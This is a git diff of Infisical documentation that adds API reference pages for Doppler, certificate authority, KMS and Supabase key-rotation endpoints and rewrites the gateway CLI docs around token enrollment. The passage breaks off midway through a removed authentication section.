diff --git a/docs/api-reference/endpoints/app-connections/doppler/update.mdx b/docs/api-reference/endpoints/app-connections/doppler/update.mdx
new file mode 100644
index 00000000000..2155946854b
--- /dev/null
+++ b/docs/api-reference/endpoints/app-connections/doppler/update.mdx
@@ -0,0 +1,9 @@
+---
+title: "Update"
+openapi: "PATCH /api/v1/app-connections/doppler/{connectionId}"
+---
+
+<Note>
+    Check out the configuration docs for [Doppler Connections](/integrations/app-connections/doppler) to learn how to obtain
+    the required credentials.
+</Note>
diff --git a/docs/api-reference/endpoints/certificate-authorities/aws-acm-public-ca/create.mdx b/docs/api-reference/endpoints/certificate-authorities/aws-acm-public-ca/create.mdx
new file mode 100644
index 00000000000..fcdc9d688eb
--- /dev/null
+++ b/docs/api-reference/endpoints/certificate-authorities/aws-acm-public-ca/create.mdx
@@ -0,0 +1,4 @@
+---
+title: "Create"
+openapi: "POST /api/v1/cert-manager/ca/aws-acm-public-ca"
+---
diff --git a/docs/api-reference/endpoints/certificate-authorities/aws-acm-public-ca/delete.mdx b/docs/api-reference/endpoints/certificate-authorities/aws-acm-public-ca/delete.mdx
new file mode 100644
index 00000000000..20ac30310d9
--- /dev/null
+++ b/docs/api-reference/endpoints/certificate-authorities/aws-acm-public-ca/delete.mdx
@@ -0,0 +1,4 @@
+---
+title: "Delete"
+openapi: "DELETE /api/v1/cert-manager/ca/aws-acm-public-ca/{id}"
+---
diff --git a/docs/api-reference/endpoints/certificate-authorities/aws-acm-public-ca/list.mdx b/docs/api-reference/endpoints/certificate-authorities/aws-acm-public-ca/list.mdx
new file mode 100644
index 00000000000..296343acf23
--- /dev/null
+++ b/docs/api-reference/endpoints/certificate-authorities/aws-acm-public-ca/list.mdx
@@ -0,0 +1,4 @@
+---
+title: "List"
+openapi: "GET /api/v1/cert-manager/ca/aws-acm-public-ca"
+---
diff --git a/docs/api-reference/endpoints/certificate-authorities/aws-acm-public-ca/read.mdx b/docs/api-reference/endpoints/certificate-authorities/aws-acm-public-ca/read.mdx
new file mode 100644
index 00000000000..1080ee62ede
--- /dev/null
+++ b/docs/api-reference/endpoints/certificate-authorities/aws-acm-public-ca/read.mdx
@@ -0,0 +1,4 @@
+---
+title: "Read"
+openapi: "GET /api/v1/cert-manager/ca/aws-acm-public-ca/{id}"
+---
diff --git a/docs/api-reference/endpoints/certificate-authorities/aws-acm-public-ca/update.mdx b/docs/api-reference/endpoints/certificate-authorities/aws-acm-public-ca/update.mdx
new file mode 100644
index 00000000000..ac77c3d006d
--- /dev/null
+++ b/docs/api-reference/endpoints/certificate-authorities/aws-acm-public-ca/update.mdx
@@ -0,0 +1,4 @@
+---
+title: "Update"
+openapi: "PATCH /api/v1/cert-manager/ca/aws-acm-public-ca/{id}"
+---
diff --git a/docs/api-reference/endpoints/certificate-authorities/digicert/create.mdx b/docs/api-reference/endpoints/certificate-authorities/digicert/create.mdx
new file mode 100644
index 00000000000..cc63ba8d679
--- /dev/null
+++ b/docs/api-reference/endpoints/certificate-authorities/digicert/create.mdx
@@ -0,0 +1,4 @@
+---
+title: "Create"
+openapi: "POST /api/v1/pki/ca/digicert"
+---
diff --git a/docs/api-reference/endpoints/certificate-authorities/digicert/delete.mdx b/docs/api-reference/endpoints/certificate-authorities/digicert/delete.mdx
new file mode 100644
index 00000000000..cfd9d068088
--- /dev/null
+++ b/docs/api-reference/endpoints/certificate-authorities/digicert/delete.mdx
@@ -0,0 +1,4 @@
+---
+title: "Delete"
+openapi: "DELETE /api/v1/pki/ca/digicert/{id}"
+---
diff --git a/docs/api-reference/endpoints/certificate-authorities/digicert/list.mdx b/docs/api-reference/endpoints/certificate-authorities/digicert/list.mdx
new file mode 100644
index 00000000000..80389e5d60e
--- /dev/null
+++ b/docs/api-reference/endpoints/certificate-authorities/digicert/list.mdx
@@ -0,0 +1,4 @@
+---
+title: "List"
+openapi: "GET /api/v1/pki/ca/digicert"
+---
diff --git a/docs/api-reference/endpoints/certificate-authorities/digicert/read.mdx b/docs/api-reference/endpoints/certificate-authorities/digicert/read.mdx
new file mode 100644
index 00000000000..a085654801d
--- /dev/null
+++ b/docs/api-reference/endpoints/certificate-authorities/digicert/read.mdx
@@ -0,0 +1,4 @@
+---
+title: "Read"
+openapi: "GET /api/v1/pki/ca/digicert/{id}"
+---
diff --git a/docs/api-reference/endpoints/certificate-authorities/digicert/update.mdx b/docs/api-reference/endpoints/certificate-authorities/digicert/update.mdx
new file mode 100644
index 00000000000..88e082c39c1
--- /dev/null
+++ b/docs/api-reference/endpoints/certificate-authorities/digicert/update.mdx
@@ -0,0 +1,4 @@
+---
+title: "Update"
+openapi: "PATCH /api/v1/pki/ca/digicert/{id}"
+---
diff --git a/docs/api-reference/endpoints/external-migrations/doppler/create-config.mdx b/docs/api-reference/endpoints/external-migrations/doppler/create-config.mdx
new file mode 100644
index 00000000000..40c7291f801
--- /dev/null
+++ b/docs/api-reference/endpoints/external-migrations/doppler/create-config.mdx
@@ -0,0 +1,8 @@
+---
+title: "Create Config"
+openapi: "POST /api/v3/external-migrations/doppler/configs"
+---
+
+<Note>
+    Check out the [Doppler migration guide](/documentation/platform/external-migrations/doppler) to learn how to migrate your secrets from Doppler to Infisical.
+</Note>
diff --git a/docs/api-reference/endpoints/external-migrations/doppler/delete-config.mdx b/docs/api-reference/endpoints/external-migrations/doppler/delete-config.mdx
new file mode 100644
index 00000000000..432e0340d7b
--- /dev/null
+++ b/docs/api-reference/endpoints/external-migrations/doppler/delete-config.mdx
@@ -0,0 +1,8 @@
+---
+title: "Delete Config"
+openapi: "DELETE /api/v3/external-migrations/doppler/configs/{id}"
+---
+
+<Note>
+    Check out the [Doppler migration guide](/documentation/platform/external-migrations/doppler) to learn how to migrate your secrets from Doppler to Infisical.
+</Note>
diff --git a/docs/api-reference/endpoints/external-migrations/doppler/get-configs.mdx b/docs/api-reference/endpoints/external-migrations/doppler/get-configs.mdx
new file mode 100644
index 00000000000..61b82fc60d6
--- /dev/null
+++ b/docs/api-reference/endpoints/external-migrations/doppler/get-configs.mdx
@@ -0,0 +1,8 @@
+---
+title: "Get Configs"
+openapi: "GET /api/v3/external-migrations/doppler/configs"
+---
+
+<Note>
+    Check out the [Doppler migration guide](/documentation/platform/external-migrations/doppler) to learn how to migrate your secrets from Doppler to Infisical.
+</Note>
diff --git a/docs/api-reference/endpoints/external-migrations/doppler/get-environments.mdx b/docs/api-reference/endpoints/external-migrations/doppler/get-environments.mdx
new file mode 100644
index 00000000000..0ff1c8219b3
--- /dev/null
+++ b/docs/api-reference/endpoints/external-migrations/doppler/get-environments.mdx
@@ -0,0 +1,8 @@
+---
+title: "Get Environments"
+openapi: "GET /api/v3/external-migrations/doppler/environments"
+---
+
+<Note>
+    Check out the [Doppler migration guide](/documentation/platform/external-migrations/doppler) to learn how to migrate your secrets from Doppler to Infisical.
+</Note>
diff --git a/docs/api-reference/endpoints/external-migrations/doppler/get-projects.mdx b/docs/api-reference/endpoints/external-migrations/doppler/get-projects.mdx
new file mode 100644
index 00000000000..36e8e982f83
--- /dev/null
+++ b/docs/api-reference/endpoints/external-migrations/doppler/get-projects.mdx
@@ -0,0 +1,8 @@
+---
+title: "Get Projects"
+openapi: "GET /api/v3/external-migrations/doppler/projects"
+---
+
+<Note>
+    Check out the [Doppler migration guide](/documentation/platform/external-migrations/doppler) to learn how to migrate your secrets from Doppler to Infisical.
+</Note>
diff --git a/docs/api-reference/endpoints/external-migrations/doppler/import-secrets.mdx b/docs/api-reference/endpoints/external-migrations/doppler/import-secrets.mdx
new file mode 100644
index 00000000000..80420124e5e
--- /dev/null
+++ b/docs/api-reference/endpoints/external-migrations/doppler/import-secrets.mdx
@@ -0,0 +1,8 @@
+---
+title: "Import Secrets"
+openapi: "POST /api/v3/external-migrations/doppler/import-secrets"
+---
+
+<Note>
+    Check out the [Doppler migration guide](/documentation/platform/external-migrations/doppler) to learn how to migrate your secrets from Doppler to Infisical.
+</Note>
diff --git a/docs/api-reference/endpoints/external-migrations/doppler/update-config.mdx b/docs/api-reference/endpoints/external-migrations/doppler/update-config.mdx
new file mode 100644
index 00000000000..11cb813a754
--- /dev/null
+++ b/docs/api-reference/endpoints/external-migrations/doppler/update-config.mdx
@@ -0,0 +1,8 @@
+---
+title: "Update Config"
+openapi: "PUT /api/v3/external-migrations/doppler/configs/{id}"
+---
+
+<Note>
+    Check out the [Doppler migration guide](/documentation/platform/external-migrations/doppler) to learn how to migrate your secrets from Doppler to Infisical.
+</Note>
diff --git a/docs/api-reference/endpoints/kms/keys/bulk-export-private-keys.mdx b/docs/api-reference/endpoints/kms/keys/bulk-export-private-keys.mdx
new file mode 100644
index 00000000000..e6725cea20b
--- /dev/null
+++ b/docs/api-reference/endpoints/kms/keys/bulk-export-private-keys.mdx
@@ -0,0 +1,4 @@
+---
+title: "Bulk Export Private Keys"
+openapi: "POST /api/v1/kms/keys/bulk-export-private-keys"
+---
diff --git a/docs/api-reference/endpoints/secret-rotations/supabase-api-key/create.mdx b/docs/api-reference/endpoints/secret-rotations/supabase-api-key/create.mdx
new file mode 100644
index 00000000000..31b43527f4c
--- /dev/null
+++ b/docs/api-reference/endpoints/secret-rotations/supabase-api-key/create.mdx
@@ -0,0 +1,77 @@
+---
+title: "Create"
+openapi: "POST /api/v2/secret-rotations/supabase-api-key"
+---
+
+<Note>
+    Check out the configuration docs for [Supabase API Key Rotations](/documentation/platform/secret-rotation/supabase-api-key) to learn how to obtain the required parameters.
+</Note>
+
+Creates a Supabase API Key secret rotation. Infisical will create and rotate API keys via your [Supabase connection](/integrations/app-connections/supabase) and write them to the specified secret path.
+
+## Request body
+
+| Field | Type | Required | Description |
+|-------|------|----------|-------------|
+| `name` | string | Yes | A unique name for the rotation (max 100 characters). |
+| `projectId` | string (UUID) | Yes | The project ID. |
+| `connectionId` | string (UUID) | Yes | ID of the Supabase app connection. |
+| `environment` | string | Yes | Environment slug (e.g. `dev`, `prod`). |
+| `secretPath` | string | Yes | Path where the generated API key secret will be stored. |
+| `isAutoRotationEnabled` | boolean | No | Whether to rotate automatically on the schedule. Defaults to `true`. |
+| `rotationInterval` | number | Yes | Days between rotations (minimum `1`). |
+| `rotateAtUtc` | object | No | Time of day (UTC) to run rotation: `{ "hours", "minutes" }`. Defaults to `{ "hours": 0, "minutes": 0 }`. |
+| `parameters.projectRef` | string | Yes | The reference ID of the Supabase project to rotate the API key for. |
+| `parameters.keyType` | string | Yes | The type of the API key to rotate: `"publishable"` or `"secret"`. |
+| `secretsMapping.apiKey` | string | Yes | Secret key name to store the generated API key (e.g. `SUPABASE_SECRET_API_KEY`). |
+| `description` | string | No | Optional description. |
+
+## Sample request
+
+```bash
+curl --request POST \
+  --url https://us.infisical.com/api/v2/secret-rotations/supabase-api-key \
+  --header 'Content-Type: application/json' \
+  --header 'Authorization: Bearer <ACCESS_TOKEN>' \
+  --data '{
+    "name": "my-supabase-rotation",
+    "projectId": "<project-id>",
+    "description": "Supabase API key rotation",
+    "connectionId": "<supabase-connection-id>",
+    "environment": "dev",
+    "secretPath": "/",
+    "isAutoRotationEnabled": true,
+    "rotationInterval": 30,
+    "rotateAtUtc": { "hours": 0, "minutes": 0 },
+    "parameters": {
+      "projectRef": "<supabase-project-ref>",
+      "keyType": "secret"
+    },
+    "secretsMapping": {
+      "apiKey": "SUPABASE_SECRET_API_KEY"
+    }
+  }'
+```
+
+## Sample response
+
+```json
+{
+  "secretRotation": {
+    "id": "<rotation-id>",
+    "name": "my-supabase-rotation",
+    "description": "Supabase API key rotation",
+    "secretsMapping": { "apiKey": "SUPABASE_SECRET_API_KEY" },
+    "isAutoRotationEnabled": true,
+    "activeIndex": 0,
+    "connectionId": "<supabase-connection-id>",
+    "rotationInterval": 30,
+    "rotateAtUtc": { "hours": 0, "minutes": 0 },
+    "type": "supabase-api-key",
+    "parameters": {
+      "projectRef": "<supabase-project-ref>",
+      "keyType": "secret"
+    }
+  }
+}
+```
diff --git a/docs/api-reference/endpoints/secret-rotations/supabase-api-key/delete.mdx b/docs/api-reference/endpoints/secret-rotations/supabase-api-key/delete.mdx
new file mode 100644
index 00000000000..9ceb12ea6af
--- /dev/null
+++ b/docs/api-reference/endpoints/secret-rotations/supabase-api-key/delete.mdx
@@ -0,0 +1,4 @@
+---
+title: "Delete"
+openapi: "DELETE /api/v2/secret-rotations/supabase-api-key/{rotationId}"
+---
diff --git a/docs/api-reference/endpoints/secret-rotations/supabase-api-key/get-by-id.mdx b/docs/api-reference/endpoints/secret-rotations/supabase-api-key/get-by-id.mdx
new file mode 100644
index 00000000000..87b8ae2dca7
--- /dev/null
+++ b/docs/api-reference/endpoints/secret-rotations/supabase-api-key/get-by-id.mdx
@@ -0,0 +1,4 @@
+---
+title: "Get by ID"
+openapi: "GET /api/v2/secret-rotations/supabase-api-key/{rotationId}"
+---
diff --git a/docs/api-reference/endpoints/secret-rotations/supabase-api-key/get-by-name.mdx b/docs/api-reference/endpoints/secret-rotations/supabase-api-key/get-by-name.mdx
new file mode 100644
index 00000000000..99655c65022
--- /dev/null
+++ b/docs/api-reference/endpoints/secret-rotations/supabase-api-key/get-by-name.mdx
@@ -0,0 +1,4 @@
+---
+title: "Get by Name"
+openapi: "GET /api/v2/secret-rotations/supabase-api-key/rotation-name/{rotationName}"
+---
diff --git a/docs/api-reference/endpoints/secret-rotations/supabase-api-key/get-generated-credentials-by-id.mdx b/docs/api-reference/endpoints/secret-rotations/supabase-api-key/get-generated-credentials-by-id.mdx
new file mode 100644
index 00000000000..375c2bd8562
--- /dev/null
+++ b/docs/api-reference/endpoints/secret-rotations/supabase-api-key/get-generated-credentials-by-id.mdx
@@ -0,0 +1,4 @@
+---
+title: "Get Credentials by ID"
+openapi: "GET /api/v2/secret-rotations/supabase-api-key/{rotationId}/generated-credentials"
+---
diff --git a/docs/api-reference/endpoints/secret-rotations/supabase-api-key/list.mdx b/docs/api-reference/endpoints/secret-rotations/supabase-api-key/list.mdx
new file mode 100644
index 00000000000..9970adb0acb
--- /dev/null
+++ b/docs/api-reference/endpoints/secret-rotations/supabase-api-key/list.mdx
@@ -0,0 +1,4 @@
+---
+title: "List"
+openapi: "GET /api/v2/secret-rotations/supabase-api-key"
+---
diff --git a/docs/api-reference/endpoints/secret-rotations/supabase-api-key/rotate-secrets.mdx b/docs/api-reference/endpoints/secret-rotations/supabase-api-key/rotate-secrets.mdx
new file mode 100644
index 00000000000..083f0788797
--- /dev/null
+++ b/docs/api-reference/endpoints/secret-rotations/supabase-api-key/rotate-secrets.mdx
@@ -0,0 +1,4 @@
+---
+title: "Rotate Secrets"
+openapi: "POST /api/v2/secret-rotations/supabase-api-key/{rotationId}/rotate-secrets"
+---
diff --git a/docs/api-reference/endpoints/secret-rotations/supabase-api-key/update.mdx b/docs/api-reference/endpoints/secret-rotations/supabase-api-key/update.mdx
new file mode 100644
index 00000000000..49d888b85fe
--- /dev/null
+++ b/docs/api-reference/endpoints/secret-rotations/supabase-api-key/update.mdx
@@ -0,0 +1,8 @@
+---
+title: "Update"
+openapi: "PATCH /api/v2/secret-rotations/supabase-api-key/{rotationId}"
+---
+
+<Note>
+    Check out the configuration docs for [Supabase API Key Rotations](/documentation/platform/secret-rotation/supabase-api-key) to learn how to obtain the required parameters.
+</Note>
diff --git a/docs/cli/commands/gateway.mdx b/docs/cli/commands/gateway.mdx
index e7da7a74f6c..53226c024b9 100644
--- a/docs/cli/commands/gateway.mdx
+++ b/docs/cli/commands/gateway.mdx
@@ -4,14 +4,14 @@ description: "Run the Infisical gateway or manage its systemd service"
 ---
 
 <Tabs>
-  <Tab title="Start gateway">
+  <Tab title="CLI">
     ```bash
-    sudo infisical gateway start --name=<name> --auth-method=<auth-method>
+    infisical gateway start <name> --enroll-method=token --token=<enrollment-token> --domain=<domain>
     ```
   </Tab>
-  <Tab title="Start gateway as background daemon (Linux only)">
+  <Tab title="systemd">
     ```bash
-    sudo infisical gateway systemd install --token=<token> --domain=<domain> --name=<name>
+    sudo infisical gateway systemd install <name> --enroll-method=token --token=<enrollment-token> --domain=<domain>
     ```
   </Tab>
 </Tabs>
@@ -36,9 +36,11 @@ If you are moving from Gateway v1 to Gateway v2, this is NOT a drop-in switch. G
   Run the Infisical gateway component within your the network where your target resources are located. The gateway establishes an SSH reverse tunnel to a relay server and provides secure access to private resources within your network.
 
 ```bash
-sudo infisical gateway start --name=<name> --auth-method=<auth-method>
+infisical gateway start <name> --enroll-method=token --token=<enrollment-token> --domain=<domain>
 ```
 
+The gateway name is provided as a positional argument.
+
 <Info>
     By default, the gateway automatically connects to the relay with the lowest latency. To target a specific relay, use the `--target-relay-name=<relay-name>` flag.
 </Info>
@@ -51,207 +53,34 @@ Once started, the gateway component will:
 - Automatically reconnect if the connection is lost
 - Provide access to private resources within your network
 
-### Authentication
-
-The Gateway supports multiple authentication methods. Below are the available authentication methods, with their respective flags.
-
-<AccordionGroup>
-  <Accordion title="Universal Auth">
-    The Universal Auth method is a simple and secure way to authenticate with Infisical. It requires a client ID and a client secret to authenticate with Infisical.
-
-      <ParamField query="Flags">
-      <Expandable title="properties">
-          <ParamField query="client-id" type="string" required>
-          Your machine identity client ID.
-          </ParamField>
-          <ParamField query="client-secret" type="string" required>
-          Your machine identity client secret.
-          </ParamField>
-          <ParamField query="auth-method" type="string" required>
-            The authentication method to use. Must be `universal-auth` when using Universal Auth.
-          </ParamField>
-      </Expandable>
-    </ParamField>
-
-    ```bash
-      sudo infisical gateway start --auth-method=universal-auth --client-id=<client-id> --client-secret=<client-secret> --name=<name>
-    ```
+### Flags
 
-  </Accordion>
-  <Accordion title="Native Kubernetes">
-    The Native Kubernetes method is used to authenticate with Infisical when running in a Kubernetes environment. It requires a service account token to authenticate with Infisical.
+  <AccordionGroup>
+  <Accordion title="--enroll-method">
+    The enrollment method to use. Currently only `token` is supported. Additional authentication methods will be available in the future.
 
       <ParamField query="Flags">
       <Expandable title="properties">
-          <ParamField query="machine-identity-id" type="string" required>
-          Your machine identity ID.
-          </ParamField>
-          <ParamField query="service-account-token-path" type="string" optional>
-            Path to the Kubernetes service account token to use. Default: `/var/run/secrets/kubernetes.io/serviceaccount/token`.
-          </ParamField>
-          <ParamField query="auth-method" type="string" required>
-            The authentication method to use. Must be `kubernetes` when using Native Kubernetes.
-          </ParamField>
-      </Expandable>
-
-    </ParamField>
-
-
-    ```bash
-      sudo infisical gateway start --auth-method=kubernetes --machine-identity-id=<machine-identity-id> --name=<name>
-    ```
-
-  </Accordion>
-  <Accordion title="Native Azure">
-    The Native Azure method is used to authenticate with Infisical when running in an Azure environment.
-
-    <ParamField query="Flags">
-      <Expandable title="properties">
-          <ParamField query="machine-identity-id" type="string" required>
-            Your machine identity ID.
-          </ParamField>
-          <ParamField query="auth-method" type="string" required>
-            The authentication method to use. Must be `azure` when using Native Azure.
-          </ParamField>
-      </Expandable>
-    </ParamField>
-
-
-
-    ```bash
-      sudo infisical gateway start --auth-method=azure --machine-identity-id=<machine-identity-id> --name=<name>
-    ```
-
-  </Accordion>
-  <Accordion title="Native GCP ID Token">
-    The Native GCP ID Token method is used to authenticate with Infisical when running in a GCP environment.
-
-    <ParamField query="Flags">
-      <Expandable title="properties">
-          <ParamField query="machine-identity-id" type="string" required>
-            Your machine identity ID.
-          </ParamField>
-          <ParamField query="auth-method" type="string" required>
-            The authentication method to use. Must be `gcp-id-token` when using Native GCP ID Token.
-          </ParamField>
-      </Expandable>
-    </ParamField>
-
-
-
-    ```bash
-      sudo infisical gateway start --auth-method=gcp-id-token --machine-identity-id=<machine-identity-id> --name=<name>
-    ```
-
-  </Accordion>
-  <Accordion title="GCP IAM">
-    The GCP IAM method is used to authenticate with Infisical with a GCP service account key.
-
-    <ParamField query="Flags">
-      <Expandable title="properties">
-          <ParamField query="machine-identity-id" type="string" required>
-          Your machine identity ID.
-          </ParamField>
-          <ParamField query="service-account-key-file-path" type="string" required>
-            Path to your GCP service account key file _(Must be in JSON format!)_
-          </ParamField>
-          <ParamField query="auth-method" type="string" required>
-            The authentication method to use. Must be `gcp-iam` when using GCP IAM.
-          </ParamField>
-      </Expandable>
-    </ParamField>
-
-    ```bash
-      sudo infisical gateway start --auth-method=gcp-iam --machine-identity-id=<machine-identity-id> --service-account-key-file-path=<service-account-key-file-path> --name=<name>
-    ```
-
-  </Accordion>
-  <Accordion title="Native AWS IAM">
-    The AWS IAM method is used to authenticate with Infisical with an AWS IAM role while running in an AWS environment like EC2, Lambda, etc.
-
-    <ParamField query="Flags">
-      <Expandable title="properties">
-          <ParamField query="machine-identity-id" type="string" required>
-            Your machine identity ID.
-          </ParamField>
-          <ParamField query="auth-method" type="string" required>
-            The authentication method to use. Must be `aws-iam` when using Native AWS IAM.
+          <ParamField query="enroll-method" type="string" required>
+            Must be `token` when using an enrollment token.
           </ParamField>
-      </Expandable>
-    </ParamField>
-
-      ```bash
-        sudo infisical gateway start --auth-method=aws-iam --machine-identity-id=<machine-identity-id> --name=<name>
-      ```
-
-  </Accordion>
-  <Accordion title="OIDC Auth">
-    The OIDC Auth method is used to authenticate with Infisical via identity tokens with OIDC.
-
-    <ParamField query="Flags">
-      <Expandable title="properties">
-          <ParamField query="machine-identity-id" type="string" required>
-            Your machine identity ID.
-          </ParamField>
-          <ParamField query="jwt" type="string" required>
-            The OIDC JWT from the identity provider.
-          </ParamField>
-          <ParamField query="auth-method" type="string" required>
-            The authentication method to use. Must be `oidc-auth` when using OIDC Auth.
-          </ParamField>
-      </Expandable>
-    </ParamField>
-
-    ```bash
-      sudo infisical gateway start --auth-method=oidc-auth --machine-identity-id=<machine-identity-id> --jwt=<oidc-jwt> --name=<name>
-    ```
-
-  </Accordion>
-
-  <Accordion title="JWT Auth">
-    The JWT Auth method is used to authenticate with Infisical via a JWT token.
-
-    <ParamField query="Flags">
-      <Expandable title="properties">
-          <ParamField query="jwt" type="string" required>
-            The JWT token to use for authentication.
-          </ParamField>
-          <ParamField query="machine-identity-id" type="string" required>
-            Your machine identity ID.
+          <ParamField query="token" type="string" required>
+            The one-time enrollment token from the Infisical UI.
           </ParamField>
-          <ParamField query="auth-method" type="string" required>
-            The authentication method to use. Must be `jwt-auth` when using JWT Auth.
+          <ParamField query="domain" type="string" required>
+            The URL of your Infisical instance.
           </ParamField>
       </Expandable>
     </ParamField>
 
-
     ```bash
-      sudo infisical gateway start --auth-method=jwt-auth --jwt=<jwt> --machine-identity-id=<machine-identity-id> --name=<name>
+      infisical gateway start my-gateway --enroll-method=token --token=<enrollment-token> --domain=https://app.infisical.com
     ```
 
-  </Accordion>
-  <Accordion title="Token Auth">
-    You can use the `INFISICAL_TOKEN` environment variable to authenticate with Infisical with a raw machine identity access token.
-
-    <ParamField query="Flags">
-      <Expandable title="properties">
-          <ParamField query="token" type="string" required>
-            The machine identity access token to use for authentication.
-          </ParamField>
-      </Expandable>
-    </ParamField>
-
-    ```bash
-      sudo infisical gateway start --token=<token> --name=<name>
-    ```
+    After enrollment, the gateway saves its credentials locally. You can safely re-run the same command to restart the gateway. It will detect the token has already been used and skip enrollment automatically.
 
   </Accordion>
-</AccordionGroup>
-
-### Other Flags
 
-  <AccordionGroup>
   <Accordion title="--target-relay-name">
     The name of the relay that this gateway should connect to. The relay must be running and registered before starting the gateway.
 
@@ -259,29 +88,19 @@ The Gateway supports multiple authentication methods. Below are the available au
 
     ```bash
     # Example
-    sudo infisical gateway start --target-relay-name=my-relay --name=my-gateway --token=<token>
+    infisical gateway start my-gateway --target-relay-name=my-relay --enroll-method=token --token=<token> --domain=<domain>
     ```
 
     **Note:** For Infisical Cloud users using instance relays, the relay infrastructure is already running and managed by Infisical. If using organization relays or self-hosted instance relays, you must first start a relay server. For more information on deploying relays, refer to the [Relay Deployment Guide](/documentation/platform/gateways/relay-deployment).
 
   </Accordion>
 
-  <Accordion title="--name">
-    The name of the gateway instance.
-
-    ```bash
-    # Example
-    sudo infisical gateway start --name=my-gateway --token=<token>
-    ```
-
-  </Accordion>
-
   <Accordion title="--domain">
     Domain of your self-hosted Infisical instance.
 
     ```bash
     # Example
-    sudo infisical gateway start --domain=https://app.your-domain.com --name=<name>
+    infisical gateway start <name> --domain=https://app.your-domain.com --enroll-method=token --token=<token>
     ```
 
   </Accordion>
@@ -292,7 +111,7 @@ The Gateway supports multiple authentication methods. Below are the available au
   Install and enable the gateway as a systemd service. This command must be run with sudo on Linux.
 
 ```bash
-sudo infisical gateway systemd install --token=<token> --domain=<domain> --name=<name>
+sudo infisical gateway systemd install my-gateway --enroll-method=token --token=<enrollment-token> --domain=<domain>
 ```
 
 ### Requirements
@@ -304,34 +123,32 @@ sudo infisical gateway systemd install --token=<token> --domain=<domain> --name=
 ### Flags
 
   <AccordionGroup>
-  <Accordion title="--token">
-    The machine identity access token to authenticate with Infisical.
+  <Accordion title="--enroll-method">
+    The enrollment method to use. Currently only `token` is supported.
 
     ```bash
     # Example
-    sudo infisical gateway systemd install --token=<token> --name=<name>
+    sudo infisical gateway systemd install my-gateway --enroll-method=token --token=<enrollment-token> --domain=<domain>
     ```
 
-    You may also expose the token to the CLI by setting the environment variable `INFISICAL_TOKEN` before executing the install command.
-
   </Accordion>
 
-  <Accordion title="--domain">
-    Domain of your self-hosted Infisical instance.
+  <Accordion title="--token">
+    The one-time enrollment token from the Infisical UI.
 
     ```bash
     # Example
-    sudo infisical gateway systemd install --domain=https://app.your-domain.com --name=<name>
+    sudo infisical gateway systemd install my-gateway --enroll-method=token --token=<token> --domain=<domain>
     ```
 
   </Accordion>
 
-  <Accordion title="--name">
-    The name of the gateway instance.
+  <Accordion title="--domain">
+    Domain of your self-hosted Infisical instance.
 
     ```bash
     # Example
-    sudo infisical gateway systemd install --name=my-gateway --token=<token>
+    sudo infisical gateway systemd install my-gateway --enroll-method=token --token=<token> --domain=https://app.your-domain.com
     ```
 
   </Accordion>
@@ -343,7 +160,7 @@ sudo infisical gateway systemd install --token=<token> --domain=<domain> --name=
 
     ```bash
     # Example
-    sudo infisical gateway systemd install --target-relay-name=my-relay --token=<token> --name=<name>
+    sudo infisical gateway systemd install my-gateway --target-relay-name=my-relay --enroll-method=token --token=<token> --domain=<domain>
     ```
 
     **Note:** For Infisical Cloud users using instance relays, the relay infrastructure is already running and managed by Infisical. If using organization relays or self-hosted instance relays, you must first start a relay server. For more information on deploying relays, refer to the [Relay Deployment Guide](/documentation/platform/gateways/relay-deployment).
@@ -397,204 +214,6 @@ Run the legacy Infisical gateway in the foreground. The gateway will connect to
 infisical gateway --domain=<domain> --auth-method=<auth-method>
 ```
 
-### Authentication
-
-The Infisical CLI supports multiple authentication methods. Below are the available authentication methods, with their respective flags.
-
-<AccordionGroup>
-  <Accordion title="Universal Auth">
-    The Universal Auth method is a simple and secure way to authenticate with Infisical. It requires a client ID and a client secret to authenticate with Infisical.
-
-      <ParamField query="Flags">
-      <Expandable title="properties">
-          <ParamField query="client-id" type="string" required>
-          Your machine identity client ID.
-          </ParamField>
-          <ParamField query="client-secret" type="string" required>
-          Your machine identity client secret.
-          </ParamField>
-          <ParamField query="auth-method" type="string" required>
-            The authentication method to use. Must be `universal-auth` when using Universal Auth.
-          </ParamField>
-      </Expandable>
-    </ParamField>
-
-    ```bash
-      infisical gateway --auth-method=universal-auth --client-id=<client-id> --client-secret=<client-secret>
-    ```
-
-  </Accordion>
-  <Accordion title="Native Kubernetes">
-    The Native Kubernetes method is used to authenticate with Infisical when running in a Kubernetes environment. It requires a service account token to authenticate with Infisical.
-
-      <ParamField query="Flags">
-      <Expandable title="properties">
-          <ParamField query="machine-identity-id" type="string" required>
-          Your machine identity ID.
-          </ParamField>
-          <ParamField query="service-account-token-path" type="string" optional>
-            Path to the Kubernetes service account token to use. Default: `/var/run/secrets/kubernetes.io/serviceaccount/token`.
-          </ParamField>
-          <ParamField query="auth-method" type="string" required>
-            The authentication method to use. Must be `kubernetes` when using Native Kubernetes.
-          </ParamField>
-      </Expandable>
-
-    </ParamField>
-
-
-    ```bash
-      infisical gateway --auth-method=kubernetes --machine-identity-id=<machine-identity-id>
-    ```
-
-  </Accordion>
-  <Accordion title="Native Azure">
-    The Native Azure method is used to authenticate with Infisical when running in an Azure environment.
-
-    <ParamField query="Flags">
-      <Expandable title="properties">
-          <ParamField query="machine-identity-id" type="string" required>
-            Your machine identity ID.
-          </ParamField>
-          <ParamField query="auth-method" type="string" required>
-            The authentication method to use. Must be `azure` when using Native Azure.
-          </ParamField>
-      </Expandable>
-    </ParamField>
-
-
-
-    ```bash
-      infisical gateway --auth-method=azure --machine-identity-id=<machine-identity-id>
-    ```
-
-  </Accordion>
-  <Accordion title="Native GCP ID Token">
-    The Native GCP ID Token method is used to authenticate with Infisical when running in a GCP environment.
-
-    <ParamField query="Flags">
-      <Expandable title="properties">
-          <ParamField query="machine-identity-id" type="string" required>
-            Your machine identity ID.
-          </ParamField>
-          <ParamField query="auth-method" type="string" required>
-            The authentication method to use. Must be `gcp-id-token` when using Native GCP ID Token.
-          </ParamField>
-      </Expandable>
-    </ParamField>
-
-
-
-    ```bash
-      infisical gateway --auth-method=gcp-id-token --machine-identity-id=<machine-identity-id>
-    ```
-
-  </Accordion>
-  <Accordion title="GCP IAM">
-    The GCP IAM method is used to authenticate with Infisical with a GCP service account key.
-
-    <ParamField query="Flags">
-      <Expandable title="properties">
-          <ParamField query="machine-identity-id" type="string" required>
-          Your machine identity ID.
-          </ParamField>
-          <ParamField query="service-account-key-file-path" type="string" required>
-            Path to your GCP service account key file _(Must be in JSON format!)_
-          </ParamField>
-          <ParamField query="auth-method" type="string" required>
-            The authentication method to use. Must be `gcp-iam` when using GCP IAM.
-          </ParamField>
-      </Expandable>
-    </ParamField>
-
-    ```bash
